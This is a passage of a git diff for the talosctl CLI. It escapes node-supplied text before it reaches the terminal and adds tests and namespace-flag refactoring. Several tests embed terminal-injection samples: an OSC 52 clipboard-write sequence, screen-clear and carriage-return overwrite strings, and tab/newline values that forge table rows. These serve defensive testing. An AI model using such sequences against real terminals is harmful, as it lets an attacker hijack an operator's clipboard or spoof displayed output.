"kB") + safeout.Printf("%s: %d %s\n", "VmallocChunk", msg.Meminfo.Vmallocchunk, "kB") + safeout.Printf("%s: %d %s\n", "HardwareCorrupted", msg.Meminfo.Hardwarecorrupted, "kB") + safeout.Printf("%s: %d %s\n", "AnonHugePages", msg.Meminfo.Anonhugepages, "kB") + safeout.Printf("%s: %d %s\n", "ShmemHugePages", msg.Meminfo.Shmemhugepages, "kB") + safeout.Printf("%s: %d %s\n", "ShmemPmdMapped", msg.Meminfo.Shmempmdmapped, "kB") + safeout.Printf("%s: %d %s\n", "CmaTotal", msg.Meminfo.Cmatotal, "kB") + safeout.Printf("%s: %d %s\n", "CmaFree", msg.Meminfo.Cmafree, "kB") + safeout.Printf("%s: %d\n", "HugePagesTotal", msg.Meminfo.Hugepagestotal) + safeout.Printf("%s: %d\n", "HugePagesFree", msg.Meminfo.Hugepagesfree) + safeout.Printf("%s: %d\n", "HugePagesRsvd", msg.Meminfo.Hugepagesrsvd) + safeout.Printf("%s: %d\n", "HugePagesSurp", msg.Meminfo.Hugepagessurp) + safeout.Printf("%s: %d %s\n", "Hugepagesize", msg.Meminfo.Hugepagesize, "kB") + safeout.Printf("%s: %d %s\n", "DirectMap4k", msg.Meminfo.Directmap4K, "kB") + safeout.Printf("%s: %d %s\n", "DirectMap2M", msg.Meminfo.Directmap2M, "kB") + safeout.Printf("%s: %d %s\n", "DirectMap1G", msg.Meminfo.Directmap1G, "kB") } } diff --git a/cmd/talosctl/cmd/talos/mounts.go b/cmd/talosctl/cmd/talos/mounts.go index 57e4fe50b78..c11de0a175a 100644 --- a/cmd/talosctl/cmd/talos/mounts.go +++ b/cmd/talosctl/cmd/talos/mounts.go @@ -10,12 +10,12 @@ import ( "fmt" "io" "math" - "os" "text/tabwriter" "time" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -45,12 +45,12 @@ var mountsCmd = &cobra.Command{ }, ) - return renderMounts(os.Stdout, responseChan) + return RenderMounts(safeout.Stdout(), responseChan) }, } -// renderMounts renders the mounts output for a stream of multiplexed responses. -func renderMounts(output io.Writer, responseChan <-chan multiplex.Response[*machineapi.MountsResponse]) error { +// RenderMounts renders the mounts output for a stream of multiplexed responses. +func RenderMounts(output io.Writer, responseChan <-chan multiplex.Response[*machineapi.MountsResponse]) error { w := tabwriter.NewWriter(output, 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tFILESYSTEM\tSIZE(GB)\tUSED(GB)\tAVAILABLE(GB)\tPERCENT USED\tMOUNTED ON") @@ -79,7 +79,7 @@ func renderMounts(output io.Writer, responseChan <-chan multiplex.Response[*mach continue } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%.02f\t%.02f\t%.02f\t%.02f%%\t%s\n", resp.Node, r.Filesystem, diff --git a/cmd/talosctl/cmd/talos/mounts_test.go b/cmd/talosctl/cmd/talos/mounts_test.go new file mode 100644 index 00000000000..f373d931e1d --- /dev/null +++ b/cmd/talosctl/cmd/talos/mounts_test.go @@ -0,0 +1,70 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package talos_test + +import ( + "bytes" + "strings" + "testing" + "unicode" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/cmd/talosctl/cmd/talos" + machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" + "github.com/siderolabs/talos/pkg/machinery/client/multiplex" +) + +// TestRenderMountsEscapesNodeStrings drives a whole command's render path: +// the tabwriter sits between the command and the escaped output, and +// it consumes a tab or a newline in a value before any writer can see it. +func TestRenderMountsEscapesNodeStrings(t *testing.T) { + t.Parallel() + + // everything a compromised node controls in this response. + const ( + clipboard = "\x1b]52;c;RjMtQ0xJUEJPQVJELUhJSkFDSw==\x07" + repaint = "\x1b[2J\x1b[HREPAINTED" + lineRewind = "junk\rOVERWRITTEN" + columns = "a\tb\nNODE\tfake\trow" + ) + + responseChan := make(chan multiplex.Response[*machineapi.MountsResponse], 1) + responseChan <- multiplex.Response[*machineapi.MountsResponse]{ + Node: "10.0.0.1", + Payload: &machineapi.MountsResponse{ + Messages: []*machineapi.Mounts{ + { + Stats: []*machineapi.MountStat{ + {Filesystem: clipboard, MountedOn: repaint, Size: 100, Available: 50}, + {Filesystem: lineRewind, MountedOn: columns, Size: 100, Available: 50}, + }, + }, + }, + }, + } + + close(responseChan) + + var buf bytes.Buffer + + require.NoError(t, talos.RenderMounts(&buf, responseChan)) + + out := buf.String() + + for _, r := range out { + assert.True(t, r == '\n' || unicode.IsPrint(r), "rune %U reached the terminal", r) + } + + // the escaped text is still there to be read, just inert. + assert.Contains(t, out, `\x1b]52;c;`) + assert.Contains(t, out, `\x0dOVERWRITTEN`) + + // a node cannot forge extra rows or columns: one header plus one row per stat. + lines := strings.Split(strings.TrimRight(out, "\n"), "\n") + assert.Len(t, lines, 3) + assert.NotContains(t, lines[1], "fake") +} diff --git a/cmd/talosctl/cmd/talos/namespace_test.go b/cmd/talosctl/cmd/talos/namespace_test.go new file mode 100644 index 00000000000..4672ca2d994 --- /dev/null +++ b/cmd/talosctl/cmd/talos/namespace_test.go @@ -0,0 +1,222 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package talos //nolint:testpackage // to test unexported commands and helpers + +import ( + "testing" + + "github.com/spf13/cobra" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/pkg/machinery/constants" +) + +// namespaceSelectorCommands are the commands which let the namespace be chosen. +// +// Listed by name as well so that a failure says which command is missing the wiring rather than +// pointing at an anonymous entry. +func namespaceSelectorCommands() []struct { + name string + cmd *cobra.Command +} { + return []struct { + name string + cmd *cobra.Command + }{ + {"logs", logsCmd}, + {"containers", containersCmd}, + {"stats", statsCmd}, + {"restart", restartCmd}, + } +} + +// resetNamespaceFlags restores the namespace selectors to their defaults once the test is done. +// +// The commands are package-level singletons whose flags are bound to package-level variables, so a +// parsed flag would otherwise leak into every test that runs afterwards. Setting each flag back to its +// default drives that through the bound variable as well, and clearing Changed is what makes a later +// parse look like a first one to the flag-group validation. +func resetNamespaceFlags(t *testing.T, cmd *cobra.Command) { + t.Helper() + + t.Cleanup(func() { + for _, name := range []string{"kubernetes", "namespace"} { + flag := cmd.Flags().Lookup(name) + require.NotNil(t, flag) + require.NoError(t, flag.Value.Set(flag.DefValue)) + + flag.Changed = false + } + }) +} + +// TestNamespaceFlagsAreMutuallyExclusive covers --kubernetes and --namespace being refused together. +// +// They are two ways of naming one containerd namespace, so accepting both would leave the command +// reading one namespace while the operator had asked for another. cobra checks flag groups after the +// arguments but before RunE, so validating the group directly is the same check the command performs, +// without connecting to anything. +func TestNamespaceFlagsAreMutuallyExclusive(t *testing.T) { + for _, tc := range namespaceSelectorCommands() { + t.Run(tc.name, func(t *testing.T) { + resetNamespaceFlags(t, tc.cmd) + + require.NoError(t, tc.cmd.ParseFlags([]string{ + "--kubernetes", + "--namespace", constants.TalosContainersContainerdNamespace, + })) + + err := tc.cmd.ValidateFlagGroups() + + require.Error(t, err, "expected --kubernetes and --namespace to be refused together") + assert.Contains(t, err.Error(), "kubernetes") + assert.Contains(t, err.Error(), "namespace") + }) + } +} + +// TestNamespaceFlagsAreAcceptedSeparately is the other half: the exclusion has to reject only the +// combination, not either flag on its own. +// +// Asserting the rejection alone would also pass if the flags were somehow always in conflict. +func TestNamespaceFlagsAreAcceptedSeparately(t *testing.T) { + for _, tc := range namespaceSelectorCommands() { + for _, args := range [][]string{ + {"--kubernetes"}, + {"--namespace", constants.TalosContainersContainerdNamespace}, + {}, + } { + t.Run(tc.name+" "+argsName(args), func(t *testing.T) { + resetNamespaceFlags(t, tc.cmd) + + require.NoError(t, tc.cmd.ParseFlags(args)) + assert.NoError(t, tc.cmd.ValidateFlagGroups()) + }) + } + } +} + +func argsName(args []string) string { + if len(args) == 0 { + return "no flags" + } + + return args[0] +} + +// TestResolveContainerNamespace pins the namespace and driver each selector resolves to. +// +// The driver is the half that is easy to get wrong and hard to notice: asking for the taloscontainers +// namespace through the CRI driver is refused by the server outright, and the mapping is what the +// --namespace flag exists to reach. +func TestResolveContainerNamespace(t *testing.T) { + for _, tc := range []struct { + name string + flags containerNamespaceFlag + wantNamespace string + wantDriver common.ContainerDriver + wantErr bool + }{ + { + name: "system namespace", + flags: containerNamespaceFlag{imageCmdFlagsType: imageCmdFlagsType{namespace: "system"}}, + wantNamespace: constants.SystemContainerdNamespace, + wantDriver: common.ContainerDriver_CONTAINERD, + }, + { + name: "cri symbol resolves to the k8s.io namespace via the CRI driver", + flags: containerNamespaceFlag{imageCmdFlagsType: imageCmdFlagsType{namespace: "cri"}}, + wantNamespace: constants.K8sContainerdNamespace, + wantDriver: common.ContainerDriver_CRI, + }, + { + name: "deprecated --kubernetes behaves like --namespace cri", + flags: containerNamespaceFlag{kubernetes: true}, + wantNamespace: constants.K8sContainerdNamespace, + wantDriver: common.ContainerDriver_CRI, + }, + { + name: "taloscontainers is read through containerd", + flags: containerNamespaceFlag{imageCmdFlagsType: imageCmdFlagsType{namespace: constants.TalosContainersContainerdNamespace}}, + wantNamespace: constants.TalosContainersContainerdNamespace, + wantDriver: common.ContainerDriver_CONTAINERD, + }, + { + name: "inmem is not supported by this command", + flags: containerNamespaceFlag{imageCmdFlagsType: imageCmdFlagsType{namespace: "inmem"}}, + wantErr: true, + }, + { + name: "an unrecognized namespace errors", + flags: containerNamespaceFlag{imageCmdFlagsType: imageCmdFlagsType{namespace: "bogus"}}, + wantErr: true, + }, + } { + t.Run(tc.name, func(t *testing.T) { + namespace, driver, err := tc.flags.resolveContainerNamespace() + + if tc.wantErr { + require.Error(t, err) + + return + } + + require.NoError(t, err) + assert.Equal(t, tc.wantNamespace, namespace) + assert.Equal(t, tc.wantDriver, driver) + }) + } +} + +// TestKubernetesFlagIsDeprecated covers --kubernetes being marked deprecated in favor of --namespace +// cri, on every command that carries the namespace selector. +func TestKubernetesFlagIsDeprecated(t *testing.T) { + for _, tc := range namespaceSelectorCommands() { + t.Run(tc.name, func(t *testing.T) { + flag := tc.cmd.Flags().Lookup("kubernetes") + + require.NotNil(t, flag) + assert.NotEmpty(t, helpers.DeprecationMessage(flag), "expected --kubernetes to be marked deprecated") + }) + } +} + +// TestStripTalosContainerLogPrefix covers turning taloscontainers log-buffer ids back into bare +// container names for shell completion. +func TestStripTalosContainerLogPrefix(t *testing.T) { + for _, tc := range []struct { + name string + ids []string + want []string + }{ + { + name: "nil input", + ids: nil, + want: nil, + }, + { + name: "mixed prefixed and unprefixed ids", + ids: []string{constants.TalosContainersLogPrefix + "foo", "apid", constants.TalosContainersLogPrefix + "bar"}, + want: []string{"foo", "bar"}, + }, + { + name: "id equal to the bare prefix strips to an empty name", + ids: []string{constants.TalosContainersLogPrefix}, + want: []string{""}, + }, + { + name: "no prefixed ids", + ids: []string{"apid", "kubelet"}, + want: nil, + }, + } { + t.Run(tc.name, func(t *testing.T) { + assert.Equal(t, tc.want, stripTalosContainerLogPrefix(tc.ids)) + }) + } +} diff --git a/cmd/talosctl/cmd/talos/netstat.go b/cmd/talosctl/cmd/talos/netstat.go index 58aae544704..e6a45c72d52 100644 --- a/cmd/talosctl/cmd/talos/netstat.go +++ b/cmd/talosctl/cmd/talos/netstat.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "strconv" "strings" "text/tabwriter" @@ -16,7 +15,7 @@ import ( "github.com/spf13/cobra" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" - "github.com/siderolabs/talos/pkg/cli" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/common" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -121,7 +120,7 @@ If you don't pass an argument, the command will show host connections.`, } printer := &netstatPrinter{ - w: tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0), + w: tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0), nodeNetNSPods: nodeNetNSPods, } @@ -131,7 +130,7 @@ If you don't pass an argument, the command will show host connections.`, foundNode, foundNetNs := findPodNetNs(nodeNetNSPods, args[0]) if foundNetNs == "" { - cli.Fatalf("pod %s not found", args[0]) + return fmt.Errorf("pod %s not found", args[0]) } req.Netns.Netns = []string{foundNetNs} @@ -148,7 +147,7 @@ If you don't pass an argument, the command will show host connections.`, return err } - cli.Warning("%s", err) + safeout.Warningf("%s", err) } printer.printResponse(foundNode, response) @@ -380,7 +379,7 @@ func (p *netstatPrinter) printResponse(node string, response *machine.NetstatRes pattern := strings.Repeat("%s\t", len(args)) pattern = strings.TrimSpace(pattern) + "\n" - fmt.Fprintf(p.w, pattern, args...) + safeout.Fprintf(p.w, pattern, args...) } } } diff --git a/cmd/talosctl/cmd/talos/output/output.go b/cmd/talosctl/cmd/talos/output/output.go index e0f67414740..aa5da1a771d 100644 --- a/cmd/talosctl/cmd/talos/output/output.go +++ b/cmd/talosctl/cmd/talos/output/output.go @@ -7,7 +7,7 @@ package output import ( "fmt" - "os" + "io" "strings" "github.com/cosi-project/runtime/pkg/resource" @@ -15,6 +15,8 @@ import ( "github.com/cosi-project/runtime/pkg/state" "github.com/spf13/cobra" "k8s.io/client-go/util/jsonpath" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" ) // Writer interface. @@ -24,17 +26,23 @@ type Writer interface { Flush() error } -// NewWriter builds writer from type. -func NewWriter(format string) (Writer, error) { - writer := os.Stdout +// NewWriter builds a writer over out, taking the raw stream so that the choice of +// which formats are filtered is testable. +// +// A resource comes from the node, so its ID, its spec and even the print columns +// of its definition are node-supplied. The JSON and YAML encoders escape control +// characters themselves and are handed the raw stream; the table and jsonpath +// writers render values verbatim and are handed the filtered one. +func NewWriter(format string, out io.Writer) (Writer, error) { + filtered := safeout.NewWriter(out) switch { case format == "table": - return NewTable(writer), nil + return filterFlusher{NewTable(filtered), filtered}, nil case format == "yaml": - return NewYAML(writer), nil + return NewYAML(out), nil case format == "json": - return NewJSON(writer), nil + return NewJSON(out), nil case strings.HasPrefix(format, "jsonpath="): path := format[len("jsonpath="):] @@ -44,12 +52,31 @@ func NewWriter(format string) (Writer, error) { return nil, fmt.Errorf("error parsing jsonpath: %w", err) } - return NewJSONPath(writer, jp), nil + // a jsonpath expression selecting a scalar renders it verbatim, unlike the + // JSON branch of the same writer. The filter is the identity on printable + // UTF-8, so `-o jsonpath=` stays usable from a script. + return filterFlusher{NewJSONPath(filtered, jp), filtered}, nil default: return nil, fmt.Errorf("output format %q is not supported", format) } } +// filterFlusher extends Flush down to the escaping stream, which otherwise holds +// on to the trailing bytes of a value that ends mid-rune. +type filterFlusher struct { + Writer + + filter *safeout.Writer +} + +func (f filterFlusher) Flush() error { + if err := f.Writer.Flush(); err != nil { + return err + } + + return f.filter.Flush() +} + // CompleteOutputArg represents tab completion for `--output` argument. func CompleteOutputArg(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { return []string{"json", "table", "yaml", "jsonpath"}, cobra.ShellCompDirectiveNoFileComp diff --git a/cmd/talosctl/cmd/talos/output/output_test.go b/cmd/talosctl/cmd/talos/output/output_test.go new file mode 100644 index 00000000000..e57df3f0da7 --- /dev/null +++ b/cmd/talosctl/cmd/talos/output/output_test.go @@ -0,0 +1,86 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package output_test + +import ( + "bytes" + "testing" + "unicode" + + "github.com/cosi-project/runtime/pkg/state" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/cmd/talosctl/cmd/talos/output" + "github.com/siderolabs/talos/pkg/machinery/resources/hardware" +) + +// TestNoFormatRendersControlCharacters pins the decision in newWriter about which +// output formats are filtered. +// +// A resource is served by the node, so its ID is node-supplied. The JSON and YAML +// encoders escape control characters themselves; the table and jsonpath writers +// render values verbatim and need the filter. Every format has to come out inert, +// however it gets there. +func TestNoFormatRendersControlCharacters(t *testing.T) { + t.Parallel() + + // OSC 52 writes the operator's clipboard; the bare CR overwrites the line + // talosctl printed itself. + const payload = "cpu\x1b]52;c;RjM=\x07\x1b[2Jjunk\rOVERWRITTEN" + + for _, format := range []string{"table", "yaml", "json", "jsonpath={.metadata.id}"} { + t.Run(format, func(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + out, err := output.NewWriter(format, &buf) + require.NoError(t, err) + + require.NoError(t, out.WriteResource("10.0.0.1", hardware.NewProcessorInfo(payload), state.Created)) + require.NoError(t, out.Flush()) + + assert.NotEmpty(t, buf.String()) + + for _, r := range buf.String() { + assert.True(t, r == '\n' || r == '\t' || unicode.IsPrint(r), "rune %U reached the terminal in %s output", r, format) + } + }) + } +} + +// TestJSONPathScalarEscaped: the scalar branch of the jsonpath writer prints the +// value with no encoder in front of it, which is the branch the JSON one does not +// cover. +func TestJSONPathScalarEscaped(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + out, err := output.NewWriter("jsonpath={.metadata.id}", &buf) + require.NoError(t, err) + + require.NoError(t, out.WriteResource("10.0.0.1", hardware.NewProcessorInfo("cpu\x1b[2Jwiped"), state.Created)) + require.NoError(t, out.Flush()) + + assert.Equal(t, `cpu\x1b[2Jwiped`+"\n", buf.String()) +} + +// TestJSONPathPassthrough: an ordinary value is untouched, so `-o jsonpath=` stays +// usable from a script. +func TestJSONPathPassthrough(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + out, err := output.NewWriter("jsonpath={.metadata.id}", &buf) + require.NoError(t, err) + + require.NoError(t, out.WriteResource("10.0.0.1", hardware.NewProcessorInfo("CPU0"), state.Created)) + require.NoError(t, out.Flush()) + + assert.Equal(t, "CPU0\n", buf.String()) +} diff --git a/cmd/talosctl/cmd/talos/output/table.go b/cmd/talosctl/cmd/talos/output/table.go index 7eb70273006..4b04e5b360b 100644 --- a/cmd/talosctl/cmd/talos/output/table.go +++ b/cmd/talosctl/cmd/talos/output/table.go @@ -17,6 +17,8 @@ import ( "github.com/cosi-project/runtime/pkg/state" "go.yaml.in/yaml/v4" "k8s.io/client-go/util/jsonpath" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" ) // Table outputs resources in Table view. @@ -46,12 +48,14 @@ func (table *Table) WriteHeader(definition *meta.ResourceDefinition, withEvents fields = slices.Insert(fields, 0, "*") } - table.displayType = definition.TypedSpec().DisplayType + // the resource definition is served by the node, so the display type and the + // column names are node-supplied too, not just the rows. + table.displayType = safeout.Cell(definition.TypedSpec().DisplayType) for _, column := range definition.TypedSpec().PrintColumns { name := column.Name - fields = append(fields, strings.ToUpper(name)) + fields = append(fields, safeout.Cell(strings.ToUpper(name))) expr := jsonpath.New(name) if err := expr.Parse(column.JSONPath); err != nil { @@ -80,7 +84,7 @@ func (table *Table) WriteHeader(definition *meta.ResourceDefinition, withEvents // WriteResource implements output.Writer interface. func (table *Table) WriteResource(node string, r resource.Resource, event state.EventType) error { - values := []string{r.Metadata().Namespace(), table.displayType, r.Metadata().ID(), r.Metadata().Version().String()} + values := []string{safeout.Cell(r.Metadata().Namespace()), table.displayType, safeout.Cell(r.Metadata().ID()), r.Metadata().Version().String()} if table.withEvents { var label string @@ -118,7 +122,11 @@ func (table *Table) WriteResource(node string, r resource.Resource, event state. return err } - values = append(values, value) + // every cell is escaped rather than only filtered on the way out, because a + // tab in a value is read by the tabwriter as a column separator and a newline + // ends the row: a node choosing either one rewrites the shape of the table + // around it, and the tabwriter has consumed both before any writer sees them. + values = append(values, safeout.Cell(value)) } values = slices.Insert(values, 0, node) diff --git a/cmd/talosctl/cmd/talos/patch.go b/cmd/talosctl/cmd/talos/patch.go index a23151379e5..1d24130ff01 100644 --- a/cmd/talosctl/cmd/talos/patch.go +++ b/cmd/talosctl/cmd/talos/patch.go @@ -9,7 +9,6 @@ import ( "context" "errors" "fmt" - "os" "time" "github.com/cosi-project/runtime/pkg/resource" @@ -19,6 +18,7 @@ import ( "google.golang.org/protobuf/types/known/durationpb" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/yamlstrip" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -97,13 +97,13 @@ func patchFn(patches []configpatcher.Patch) func(context.Context, *client.Client bytes.TrimSpace(yamlstrip.Comments(patched)), bytes.TrimSpace(yamlstrip.Comments(body)), ) { - fmt.Fprintln(os.Stderr, "Apply was skipped: no changes detected.") + fmt.Fprintln(safeout.Stderr(), "Apply was skipped: no changes detected.") return nil } fmt.Fprintf( - os.Stderr, "patched %s/%s at the node %s\n", + safeout.Stderr(), "patched %s/%s at the node %s\n", mc.Metadata().Type(), mc.Metadata().ID(), node, diff --git a/cmd/talosctl/cmd/talos/pcap.go b/cmd/talosctl/cmd/talos/pcap.go index d49544f5f92..c505e221c3f 100644 --- a/cmd/talosctl/cmd/talos/pcap.go +++ b/cmd/talosctl/cmd/talos/pcap.go @@ -20,6 +20,8 @@ import ( "github.com/spf13/cobra" "google.golang.org/grpc/codes" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" ) @@ -107,7 +109,7 @@ e.g. by excluding packets with the port 50000. var out io.Writer if pcapCmdFlags.output == "-" { - out = os.Stdout + out = os.Stdout //nolint:forbidigo // a pcap file, not text } else { out, err = os.Create(pcapCmdFlags.output) if err != nil { @@ -150,9 +152,9 @@ func dumpPackets(ctx context.Context, r io.Reader) error { func(packet gopacket.Packet, err error) { switch err { case nil: - fmt.Println(packet) + safeout.Println(packet) default: - fmt.Println("packet capture error:", err) + safeout.Println("packet capture error:", err) } }, ) @@ -207,7 +209,7 @@ func init() { pcapCmd.Flags().StringVarP(&pcapCmdFlags.output, "output", "o", "", "if not set, decode packets to stdout; if set write raw pcap data to a file, use '-' for stdout") pcapCmd.Flags().StringVar(&pcapCmdFlags.bpfFilter, "bpf-filter", "", "bpf filter to apply, tcpdump -dd format") pcapCmd.Flags().DurationVar(&pcapCmdFlags.duration, "duration", 0, "duration of the capture") - pcapCmd.Flags().MarkDeprecated("snaplen", "support of snap length is removed") //nolint:errcheck + helpers.MarkFlagDeprecated(pcapCmd.Flags(), "snaplen", "support of snap length is removed") //nolint:errcheck addCommand(pcapCmd) } diff --git a/cmd/talosctl/cmd/talos/processes.go b/cmd/talosctl/cmd/talos/processes.go index fd2e4f1c99e..11ba8df6ffc 100644 --- a/cmd/talosctl/cmd/talos/processes.go +++ b/cmd/talosctl/cmd/talos/processes.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "path/filepath" "sort" "strings" @@ -18,6 +17,7 @@ import ( "github.com/dustin/go-humanize" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -51,7 +51,7 @@ var processesCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tPID\tSTATE\tTHREADS\tCPU-TIME\tVIRTMEM\tRESMEM\tLABEL\tCOMMAND") flushTimer := time.NewTimer(outputFlushInterval) @@ -82,7 +82,7 @@ var processesCmd = &cobra.Command{ } for _, p := range procs { - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%d\t%s\t%d\t%.2f\t%s\t%s\t%s\t%s\n", resp.Node, p.Pid, p.State, p.Threads, p.CpuTime, humanize.Bytes(p.VirtualMemory), humanize.Bytes(p.ResidentMemory), diff --git a/cmd/talosctl/cmd/talos/read.go b/cmd/talosctl/cmd/talos/read.go index 49cc5070fe4..cb8e478065b 100644 --- a/cmd/talosctl/cmd/talos/read.go +++ b/cmd/talosctl/cmd/talos/read.go @@ -48,7 +48,9 @@ var readCmd = &cobra.Command{ defer r.Close() //nolint:errcheck - _, err = io.Copy(os.Stdout, r) + // the file is arbitrary bytes, not text: it is routinely redirected to a + // file, so it is passed through unmodified. + _, err = io.Copy(os.Stdout, r) //nolint:forbidigo if err != nil { return fmt.Errorf("error reading: %w", err) } diff --git a/cmd/talosctl/cmd/talos/reboot.go b/cmd/talosctl/cmd/talos/reboot.go index 9afbe565d16..3600c907d30 100644 --- a/cmd/talosctl/cmd/talos/reboot.go +++ b/cmd/talosctl/cmd/talos/reboot.go @@ -17,6 +17,7 @@ import ( "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/nodedrain" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/flags" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" @@ -69,6 +70,7 @@ func rebootRun(ctx context.Context, opts []client.RebootMode) (retErr error) { rep := reporter.New( reporter.WithOutputMode(rebootCmdFlags.progress.Value()), + reporter.WithLineFilter(safeout.String), ) if !rebootCmdFlags.drain { diff --git a/cmd/talosctl/cmd/talos/restart.go b/cmd/talosctl/cmd/talos/restart.go index dd8178c059b..5582ed185d9 100644 --- a/cmd/talosctl/cmd/talos/restart.go +++ b/cmd/talosctl/cmd/talos/restart.go @@ -11,14 +11,12 @@ import ( "github.com/spf13/cobra" - "github.com/siderolabs/talos/pkg/machinery/api/common" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" - "github.com/siderolabs/talos/pkg/machinery/constants" ) var restartCmdFlags struct { - kubernetesNamespaceFlag + containerNamespaceFlag } // restartCmd represents the restart command. @@ -44,17 +42,9 @@ var restartCmd = &cobra.Command{ defer clientFactory.Close() //nolint:errcheck - var ( - namespace string - driver common.ContainerDriver - ) - - if restartCmdFlags.kubernetes { - namespace = constants.K8sContainerdNamespace - driver = common.ContainerDriver_CRI - } else { - namespace = constants.SystemContainerdNamespace - driver = common.ContainerDriver_CONTAINERD + namespace, driver, err := restartCmdFlags.resolveContainerNamespace() + if err != nil { + return err } responseChan := multiplex.UnaryViaFactory( @@ -77,7 +67,7 @@ var restartCmd = &cobra.Command{ } func init() { - restartCmd.Flags().BoolVarP(&restartCmdFlags.kubernetes, "kubernetes", "k", false, "use the k8s.io containerd namespace") + addContainerNamespaceFlags(restartCmd, &restartCmdFlags.containerNamespaceFlag) restartCmd.Flags().Bool("use-cri", false, "use the CRI driver") restartCmd.Flags().MarkHidden("use-cri") //nolint:errcheck diff --git a/cmd/talosctl/cmd/talos/root.go b/cmd/talosctl/cmd/talos/root.go index a5c60d3e593..c12739d6acc 100644 --- a/cmd/talosctl/cmd/talos/root.go +++ b/cmd/talosctl/cmd/talos/root.go @@ -20,6 +20,7 @@ import ( "google.golang.org/grpc/codes" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" "github.com/siderolabs/talos/pkg/cli" "github.com/siderolabs/talos/pkg/machinery/api/common" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" @@ -31,21 +32,49 @@ import ( // GlobalArgs is the common arguments for the root command. var GlobalArgs global.Args -// kubernetesNamespaceFlag is embedded into command flag structs that select between -// the system and Kubernetes containerd namespaces via the --kubernetes flag. -type kubernetesNamespaceFlag struct { +// containerNamespaceFlag is embedded into command flag structs that select which containerd +// namespace to address, via the same --namespace flag and vocabulary shared with talosctl +// image/debug/upgrade, or, for backwards compatibility, via the deprecated --kubernetes/-k alias for +// --namespace cri. +type containerNamespaceFlag struct { + imageCmdFlagsType + kubernetes bool } -// useKubernetesNamespace reports whether the Kubernetes containerd namespace is selected. -func (f kubernetesNamespaceFlag) useKubernetesNamespace() bool { - return f.kubernetes +// resolveContainerNamespace returns the containerd namespace to address and the driver to read it +// with. +// +// The CRI driver exists only for Kubernetes pods, where it is what groups containers under the pod +// they belong to; every other namespace, taloscontainers included, is read through the containerd +// driver. Which containerd socket that means follows from the namespace itself, and the server works +// that out, so there is nothing to select for here. +func (f containerNamespaceFlag) resolveContainerNamespace() (string, common.ContainerDriver, error) { + if f.kubernetes { + return constants.K8sContainerdNamespace, common.ContainerDriver_CRI, nil + } + + return f.containerNamespace() +} + +// addContainerNamespaceFlags registers the namespace selectors on cmd. +// +// Both flags are registered together, along with their mutual exclusion, because they are two ways of +// naming the same thing: accepting both would leave the command addressing one namespace while the +// operator had asked for another. +func addContainerNamespaceFlags(cmd *cobra.Command, flags *containerNamespaceFlag) { + cmd.Flags().BoolVarP(&flags.kubernetes, "kubernetes", "k", false, "use the 